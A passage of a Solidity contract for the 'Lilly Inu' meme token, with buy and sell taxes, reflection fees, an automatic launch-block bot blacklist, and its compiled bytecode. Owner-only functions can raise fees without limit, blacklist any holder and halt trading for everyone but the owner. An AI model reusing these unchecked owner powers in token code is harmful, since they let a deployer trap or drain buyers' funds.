function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LillyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lilly Inu";//
string private constant _symbol = "LILLY";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 8;//
//Sell Fee
uint256 private _redisFeeOnSell = 3;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x244a59F7e43ff29B85Ef19c5F1141393e972781A);//
address payable private _marketingAddress = payable(0xdd773741186b6BE576Af05961aD2E1399481d144);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 20000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600981526020017f4c696c6c7920496e750000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f4c494c4c59000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e54601081905550